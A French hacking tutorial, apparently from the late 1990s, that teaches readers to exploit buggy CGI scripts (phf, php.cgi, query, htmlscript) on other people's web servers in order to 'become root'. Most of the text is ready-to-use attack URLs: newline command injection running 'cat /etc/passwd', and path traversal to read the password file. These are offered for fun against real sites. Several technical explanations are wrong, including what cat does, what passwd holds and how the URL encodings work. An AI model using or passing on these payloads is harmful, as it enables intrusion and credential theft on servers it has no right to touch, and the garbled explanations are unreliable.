Le titre ne vous dira peut-être rien, d’ailleurs, j’aurais pas écris l’article je n’en aurais pas la moindre idée non plus. 
On va prendre un exemple pour expliquer le titre alors. Vous avez sûrement remarqué quand vous allez dans un site un “cgi-bin” au niveau de l’url. Il y en a très souvent dans les moteurs de recherche. AltaVista en est d’ailleurs un très bon exemple. Vous allez sur altavista et vous tapez hacking et choisissez la langue française, lancez la recherche. L’url de la page deviendra la suivante: “http://www.altavista.com/cgi-bin/query?pg=q&kl=fr&q=hacking&search=Search”
Vous l’avez vu le cgi? Bah voilà, c’est ça. En gros c’est un programme écrit en pearl ou en c (ou en d’autres langages mais ce sont les plus répondus) qui permet des accès à l’intérieur du serveur par mot clé. Certaines séries de lettres représentent des touches tapées comme “Enter” par exemple. Ce qui fait qu’en mettant une adresse on exécute un programme, qui, s’il est buggé (plutôt si nous connaissons le bug ;-), car bug il y a toujours), agira en fait comme un outil de recherche genre “explorateur Windows”. Un cgi peut vraiment faire beaucoup de choses: recherche de fichiers, compteur de visites, animations, … Et son utilisation dans les sites est très répandu vu qu’il a à peu près le même potentiel qu’un script Java. Sacré potentiel n’est ce pas?
Ci-dessous différentes manières d’exploiter ces bugs pour devenir root ou pour faire d’autres truc sympa juste avec Netscape. Même pas besoin de Linux, c’est pas fort ça? Juste d’un petit crack jack, enfin, je vous refais pas un cours. Sachez qu’à ma connaissance il y a au moins 130 bugs cgi trouvés d’où de quoi pas mal s’amuser. Ici je n’en donne que cinq mais d’autres s’ajouteront avec le temps.
Pfs:
Des filtres pas très au point sur certaines requêtes permettent d’accéder au fichier contenant le password root sur les serveur tournant sous NCSA (version inférieure ou égale à 1.5 ) et sous apache (versions inférieures à 1.0.5):
http://url_du_site/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
Pfs (un autre bug):
Idem mais là, la commande change vraiment très peu et ça ne marche pas que sur ceux énumérés au dessus:
http://url_du_site/cgi-bin/phf?Qname=x%0a/bin/cat%20/etc/passwd
Php:
Même chose que ci-dessus sauf que c’est avec php. La syntaxe n’est pas la même mais le résultat est identique, on a le pass root:
http://url_du site/cgi-bin/php.cgi?/etc/passwd
Php (un autre bug):
Idem mais là, la commande change vraiment très peu:
http://url_du site/cgi-bin/php?/etc/passwd
Query:
Là c’est encore la même chose mais ça marche avec query:
http://url_du site/cgi-bin/query?%0a/bin/cat%20/etc/passwd
Htmlscript:
Là aussi ça sert à devenir root en trouvant le pass root, le tout est de savoir où se trouve le répertoire /etc par rapport au cgi-bin. Si vous connaissez un peu l’arborescence des répertoires sous UNIX vous ne devriez pas avoir trop de problème à vous repérer, surtout que vous n’êtes pas obligé de mettre /etc/passwd mais par exemple: /usr/rhylkim, sous peine bien sûr que le fichier rhylkim et le répertoire /usr éxistent.
http://url_du_site/cgi-bin/htmlscript?../../etc/passwd
Dans cet exemple il s’agissait de redescendre à la racine là où se trouve le répertoire /etc et pour cela on est descendu de trois niveaux vu que dans cet exemple, le cgi-bin se trouvait dans le répertoire: /web/info/revelation. Mais ce n’est qu’un exemple. Le cgi-bin pourrait très bien se trouver dans le répertoire: /bin/rhylkim et on aurait été obligé de faire:
http://www.assassin.com/cgi-bin/htmlscript?../../etc/passwd.
Si vous voulez comprendre la structure de ces exploits, je vais vous les expliquer un peu. le %0a correspond à un “enter” en pearl et le %20 a un “espace” en pearl. Les cat est un éditeur sous unix et les fait de faire “cat%20/etc/passwd” aura l’effet de faire “cat passwd” dans le répertoire /etc ce qui aura pour effet de vous dévoiler l’interieur du fichier comme vous pourriez le faire avec word.
Dans quel cas les cgi phf et autres scripts ne servent à rien? Si le serveur a ses pages web transitant par le port 8000, 8001 ou 8080 ca ne sert à rien d’essayer car même si les bug des cgi sont présents, vous ne pourrez pas accéder au répertoire contenant le fichier passwd. En effet le http passe le plus couramment par le port 80 mais le port 8080 est aussi très souvent utilisé notamment pour ce qui concerne les proxy. Les ports 8000 et 8001 sont assez peu utilisé mais que cela ne vous étonne pas si vous tembez dessus. Vous pouvez récupérer le passwd avec les cgi si le http passe par le port 80 car c’est un port privilégié et les 8080, 8000 et 8001 ne le sont pas. Un port privilégié signifie que seul le root ou une personne loguée en tant que root (su) peut l’utiliser ou utiliser des programmes faisant transiter des paquets par celui ci. Pour savoir si un serveur a son http sur le port 80 ou autres c’est assez simple, mettez “:n°_du_port” après son DNS.
Exemple:
Si le serveur a son http à l’adresse http://www.site.com/, faites http://www.site.com:80/ et si la page reste la même il est sur le port 80. Bien sur si vous obtenez une page vide avec des mots comme “not found” genre ce que l’on trouve en faisant http://www.fbi.gov:8080/ ou une page non attribuée (faites le même serveur mais avec le port 8000) c’est que le http ne se trouve pas sur le port que vous avez demandé.
Bien sûr je n’ai pas tout à fait raison quand je vous dis que les scripts cgi ne servent à rien si le http n’est pas lancé en root. Cela pourra toujours vous donner un accès user sur la bécane si le bug est présent. Et on ne devient pas toujours root tout de suite (et même loin de là) et l’accès user est toujours plus important qu’un accès en anonymous surtout que si l’account de cet user a servi au http il a peut être servi à autre chose. Mais il se peut aussi que cet account soit stérile car l’admin a très bien pu utiliser un port différent du 80 par mesure de sécutité et donc a prévu le fait que l’account sous lequel il a lancé le http soit hacké par la suite.
Voilà, c’est tout, j’en ai encore une petite dizaine mais ce sera pour un autre jour car ce sont essentiellement des scripts. Pour tous les exemples précédents, il s’agissait de serveurs n’ayant pas de pass shadows. Si vous voulez exploiter ces bugs avec une machine ayant des pass shadows (la plupart d’ailleurs) il faudra pour cela remplacer /etc/passwd par le répertoire et le fichier pass correspondant suivant le type de serveur attaqué.